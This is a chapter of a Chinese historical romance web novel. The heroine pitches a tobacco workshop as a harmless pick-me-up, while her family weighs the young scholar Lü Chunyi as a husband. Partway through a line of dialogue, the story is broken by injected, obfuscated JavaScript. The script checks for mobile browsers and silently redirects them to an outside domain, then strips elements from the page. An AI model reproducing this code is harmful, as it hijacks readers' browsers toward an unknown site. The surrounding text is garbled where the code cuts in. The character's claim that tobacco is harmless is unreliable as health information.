“先把识文断字的、会打铁的、能做木工活的都挑出来，补入各个工坊，让他们多少做些事情。等年后，我要在留出的那块地上办个烟坊。”


    “烟？烟坊？”吕淳屹搁下手中的茶盏，眉峰拧成个疙瘩：“那都是什么？”


    “《太平广记》中曾记载‘有僧曰世尊，曾言山中有斝，燃烟以啖之，可以解倦’，也有烟源歌》中关于诸葛亮南征时可‘辟瘴’‘祛寒’的‘黄金叶’”宋祁年带着几分笃定的笑意，“我说的就是这东西。”


    “这？”吕淳屹眼底的疑云更深了，毕竟这都是写诗歌杂记中写的东西，能否推广开并被大众接受，是否有些儿戏了？


    “吕兄还不信我。这东西可使人产生兴奋感和愉悦感，还能缓解疲劳，减轻压力。”


    “五石散？”吕淳屹皱眉连声音都冷了几分，满脸的厌恶。


    “不是，吕兄想哪儿去了。”宋祁年急得直摆手，差点将案上的茶盏扫落，“那五石散是虎狼之药，我这''黄金叶''可是草木精华——”她忽然压低声音，用拇指和食指比出个极小的捻搓动作，“这烟只用天生地长的草木之精，晒干了切丝点燃，吸的都是草木清气，哪是那害人的毒物能比？”


    “真有这样的功效？”吕淳屹明显不相信，眉峰依旧没松，：“当真有提神解乏、使人愉悦的功效，还半点没有副作用？”


    副作用肯定是有的啊，但这尼古丁、煤焦油怎么解释。


    宋祁年重重点头，“吕兄，怎么今天老是不相信我。我宋祁年是那满嘴跑马的性子？样品已经在烘房里晾着了，这几日就可送给吕兄品鉴——”她眼尾忽然扬起狡黠的笑纹，“到时候你要是吸着不好，我把这烟坊的木料全劈了给你烧火如何？”


    这话逗得吕淳屹终于松了嘴角，他心中已信了八分，喉结悄悄滚动了一下。


    “若真如你所说......”他没再说下去——这哪是开烟坊，分明是开了一条源源不竭的银矿出来啊。


    宋祁年笑盈盈的看着他，一脸你就等着瞧好的表情。


    吕淳屹望了眼她的笑容，只觉得心跳莫名的加速，连带着指尖都有些发颤。这感觉实在蹊跷，分明是讨论营生的正经场合，他却偏偏注意到注意到她唇上红润的胭脂色；注意到她垂眸时睫毛在眼下投出的蝶翼般的阴影；注意到她得意时微微扬起的下巴。


    好像从来没有困难能难住对面这个人。她总这样，纵是谈及千难万险，眼里都亮得像落满了星子——那不是刻意燃起的火焰，而是淬过冰雪仍未熄灭的星子，带着股子蓬勃的野劲。


    越是相处的就，越是能看到她生命底色中的那抹亮。不必刻意照亮谁，却让人忍不住想朝着那束亮出，一步步靠近。


    她永远不认输，永远不服输，纵是前路荆棘丛生，她也能硬生生蹚出一条坦途，沾满泥污却依旧笑得张扬，好像只要跟着她就可以抵达光明的未来。


    “哥，你们在说什么悄悄话呀？”吕淳淑的小脑袋突然探出来，乌黑的发上还别着支樱桃红的珠花，像颗刚剥壳的荔枝，水嫩嫩地滚到两人中间。


    “咳！”吕淳屹猛地被口水呛着，帕子捂住嘴时，耳根已红得能滴出血来。方才还在心头翻涌的旖旎情思，此刻全化作惊弓之鸟，扑棱棱散了一地。


    宋祁年却笑得眼尾弯弯，指尖在吕淳淑挺翘的鼻尖上轻轻刮过：“没说什么，别担心，祈年姐姐嘴巴最严了，不会告诉你哥哥，有只小馋猫，吃撑了半夜闹肚子还嘴硬说是水喝多了。”


    “姐姐！”吕淳淑的小脸“唰”地垮下来，像被晒蔫的小黄瓜，跺着脚直晃宋祁年的胳膊，银镯子撞出一串叮当响，“你怎么能出卖我！明明说好要替我保密的！”


    “哦？”宋祁年故意拖长调子，伸手捏了捏她气鼓鼓的脸颊，“这可是你自己说漏嘴的，姐姐说的可是小馋猫，一个字都没提到你哦！”


    “姐姐！”吕淳淑把脑袋埋进宋祁年怀里蹭来蹭去，声音闷得像含着颗糖，尾音却带着撒娇的颤。


    吕淳屹望着抱作一团的两人，掩饰的端起桌上的茶盏。遮住半张脸，只是却遮不住耳边的红色。


    午饭时宋昭竟也抽了时间一同过来用饭。


    待送走吕家兄妹，宋昭才用碗盖拨弄着盏中的茶叶，闲闲开口：“方才那姓吕的小子，你瞧着如何？”


    “不错，瞧着是个稳妥人。眉目清正，说话时腰背挺直。”宋幼苡端着盏茶，轻轻啜饮了一口。“最难得还是个读书种子，只是可惜了，牵扯到党锢之事中去，好好的功名就这样丢了，也是个命苦的。”


    “我瞧着也不错。”宋昭将茶盏顿在案上，茶盖磕出清脆一响。


    “父亲这话说的没头没脑的......”宋幼苡突然反应过来：“爹——这是您给小满挑的......未来的.....夫婿？”


    “正是。”宋昭坦然承认：“我已派人去原籍核查过跟脚了，那孩子确实父母早亡，亲族又因党争败落，如今唯一只有个亲近的妹子，倒省了将来的许多牵扯。”他望向窗上大红的窗花，语气轻松，“本人我瞧着也是个知恩图报的，确实是个合适的人选。”


    宋昭派去的老仆宋忠，原是军中斥候出身，最善从细处窥人。他到了吕淳屹原籍，没先去官府查卷宗，反倒挑着货郎担走街串巷，连着十来日在市井间细细打听，待确认无误才回来复命。


    原来这吕淳屹虽姓吕，却是族中早已出了五服的旁支，党锢之祸起时原不在牵连之列。偏他学院里的恩师荀先生是“党人”，按律全家要被下狱问罪。当时吕淳屹刚中举，只要递上一纸揭发恩师的投名状，便能脱清干系，甚至可凭“检举有功”得到有心人的赏识。


    偏他却念着这位荀先生往日资助之恩，教导之义，愣是咬着牙不肯，反倒将中举所得的赏银尽数变卖，帮着荀先生的家眷走脱。


    “结果呢？”宋幼苡追问，指尖无意识绞着帕子。


    “还能如


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16131608|176675||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    何？”宋昭呷了口茶，“哪有纸包得住火，自是落了个''党人同党''的罪名，功名被革，打回原籍。”


    宋幼苡沉吟片刻，此人品行倒是无可挑剔，只是家世到底单薄了些。可转念一想，爹既已定下小满将来要招赘，这般家世倒也不算什么大碍了。


    “只是，”她仍有顾虑，“这事总要两厢情愿才好。那吕淳屹既是家中独子，可肯入赘？”


    “这事只需小满点头就行了。”言下之意，吕淳屹同意不同意有何打紧，“他一个农家子能入赘我宋家还有什么不满意。再说他那妹子，亦是你教导着长大的。”


    “原来如此。”宋幼苡恍然，指尖在茶盏沿划了半圈，“父亲打那时起，便存了这念头？”


    宋昭慢悠悠捋着胡须，眼底泛着笑意：“那般忠厚方正，又在弱冠之年便一举中举的年轻人，自然是能得老夫几分看中的。”


    “既是如此，父亲且不急提这事。”宋幼苡捏着帕子，“路遥知马力，日久见人心。女儿想再多考察些时日。”


    “这个自然。”


    ***********************


    出了宋府，兄妹二人登上马车，不多时便回到了自家宅院。


    位于丁香巷的小院离主街不过十来丈，恰得闹中取静的妙处。青砖铺地的院落收拾得窗明几净，院中还有一方丈许见方的池塘，冬日水落石出，池底青石板上还留着残荷枯梗，待开春自会抽新叶铺满半塘；塘边几株枸骨树绿得发亮，枝桠间缀满殷红小果，倒给萧索冬日添了几分暖意——当初选这宅子的人，从位置到院内布置都是费了心思的。


    吕淳屹掀开车帘先跳下车，回头扶妹妹时忽然问道：“今日见你同宋大娘子十分亲近。”


    吕淳淑攥着袖口踏进院门，闻言甜甜笑道：“大娘子她是真心疼我。就说这院子当初布置，她当时拉着我的手说：‘淼淼，虽说我挑的人手都是熟手，但这到底是你们兄妹的落脚处。你既长大了，也该慢慢学着理事，你需用的人手如何采买，如何挑拣，我让严嬷嬷陪着你去，还有不懂的便来问我。’”她顿了顿，声音带了点羞涩，“大娘子还说，女儿家琴棋书画女工要学，掌家的本事更是不能少，不要觉得这内宅经济是俗事，不然将来......要吃暗亏的......”


    吕淳屹微微颔首，听妹妹这话，宋大娘子确实是真将小妹当自己人来疼爱。他将那丝没来由的不安丢到一旁，许是自己太过敏感。


    “哥，”吕淳淑提议道：“咱们总算在扬州城里站稳了脚跟。我想着荀姐姐她们......要不要寻个妥当的由头，将她们也接来同住？左右院子空着也是空着，人多些也热闹。”


    吕淳屹脚步倏地顿住，廊下的风卷着扑在他面上，他却浑然不觉，只眉头微蹙望向妹妹：“不可。”


    注：烟草的起源有说是明朝时传入也有观点认为唐朝时就有，文中采用第二种观点。希望考据党不要较真哈！